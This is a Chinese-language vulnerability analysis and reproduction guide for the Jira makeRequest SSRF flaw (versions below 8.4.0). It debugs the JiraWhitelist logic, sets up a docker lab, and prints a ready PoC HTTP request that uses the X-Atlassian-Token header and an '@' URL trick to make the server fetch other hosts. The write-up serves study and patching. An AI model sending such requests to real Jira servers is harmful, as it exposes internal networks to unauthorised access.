漏洞描述
Jira的/plugins/servlet/gadgets/makeRequest资源存在SSRF漏洞,原因在于JiraWhitelist这个类的逻辑缺陷,成功利用此漏洞的远程攻击者可以以Jira服务端的身份访问内网资源。经分析,此漏洞无需任何凭据即可触发。
漏洞危害
远程攻击者可以利用此漏洞以Jira服务端的身份访问内网资源。
漏洞影响版本
Jira < 8.4.0
漏洞分析
两个关键信息点:
• 漏洞点在/plugins/servlet/gadgets/makeRequest
• 原因在于JiraWhitelist这个类的逻辑缺陷
首先直接去访问http://192.168.60.244:8080/plugins/servlet/gadgets/makeRequest会报404
然后开始按照以往Jira/Confluence的漏洞搜索方法
然而通过这一点并没有搜出来直接到漏洞点的地方。换另一条思路,搜索:JiraWhitelist
找到了这个类是在atlassian-jira/WEB-INF/classes目录下,于是在IDEA中直接将这个目录加到Library中(否则调试无法进入),然后在其可疑方法allows下断点
发起一个/plugins/servlet/gadgets/makeRequest的请求,但是这个时候没能直接触发到断点。后来找到了一个跟这个比较像的url:/plugins/servlet/gadgets/dashboard-diagnostics深入跟进了一下,发现原来是所有/plugins/servlet开头的url会交给某一些类处理,而这是在web.xml中配置的:
这里url中的/plugins/servlet匹配到了servlet-module-container-servlet对应的servlet为:com.atlassian.jira.plugin.servlet.ServletModuleContainerServlet。然后后面通过request.getPathInfo()来获取url后面的内容。参考:https://blog.csdn.net/turkeyzhou/article/details/3270289
获取到之后,去一个Map里查找
找到这个pathInfo对应的Servlet descriptor
然后根据这个descriptor找到具体的Servlet类
这里显示已经找到了:
这个Servlet为com.atlassian.gadgets.shindig.servlet.XsrfMakeRequestServlet。
至此终于定位到了处理具体请求的地方。
跟进这个类atlassian-jira/WEB-INF/atlassian-bundled-plugins/atlassian-gadgets- opensocial-plugin-4.3.9.jar!/com/atlassian/gadgets/shindig/servlet /XsrfMakeRequestServlet的doGet方法。
可以看到这里对请求中的请求头X-Atlassian-Token: no-check做了判断,如果请求中没有这个请求头,则直接响应404了。
注:这个请求头是官方提供的一种绕过Jira自身CSRF防御的方式,用于告诉Jira不对此请求进行CSRF防御,方便在自动化脚本中使用。具体介绍可以参考:https://developer.atlassian.com/server/jira/platform/form-token-handling/
到这里就解释了为什么直接访问这个url会响应404了。
带上这个请求头,继续调试。跟进其父类即org.apache.shindig.gadgets.servlet.MakeRequestServlet的doGet方法。由于这个包没有在Jira提供的jar包中找到,最后去这里:https://repo1.maven.org/maven2/org/apache/shindig/shindig-gadgets/2.5.2/shindig-gadgets-2.5.2.jar 找了一个jar包作为Library供IDEA调试。最后跟进到了atlassian-jira/WEB-INF/classes/com /atlassian/jira/dashboard/JiraWhitelist#allows方法中,对请求中的url参数进行判断。
如果请求中的 url满足以Jira服务的canonicalBaseUrl开头,则认为这个url符合白名单的规则:这里应该就是漏洞描述中atlassian-jira/WEB-INF/classes/com/atlassian/jira/dashboard/JiraWhitelist#allows方法的逻辑缺陷了。
符合白名单的规则就接着使用atlassian-jira-6.4.14-standalone/atlassian-jira/WEB-INF/lib/httpclient-4.3.6.jar!/org/apache/http/client/utils/URIUtils这个工具类将url中的协议名、Host名、端口等提取出来。
通过跟踪代码,发现它只判断了url是否以<jira服务的协议://ip:port>开头,所以poc中能进行SSRF请求的协议只能是HTTP/HTTPS。
环境搭建
- 开启docker环境
docker-compose build
docker-compose up -d
- 访问ip:8080进行安装,选择第二个
- 按照提示继续即可
4. 生成JIRA使用许可证
5. 生成之后找到License Key,回到页面填上License Key继续安装
6. 至此,安装完毕
漏洞复现
- 先访问ip:8080,然后刷新抓包,将数据包替换为如下Poc:
GET /plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com HTTP/1.1
Host: 10.206.1.8:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchangeb;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
X-Atlassian-Token: no-check
Connection: close
- 通过bupsuit进行请求如下,在响应中可以看到成功探测目标系统存在ssrf漏洞:
3. 通过bupsuit进行请求如下,在响应中可以看到探测失败则会显示响应500:
POC验证:
使用方法:python3 poc.py -u http://192.168.60.244:8080
修复建议
升级到8.4.0及以上版本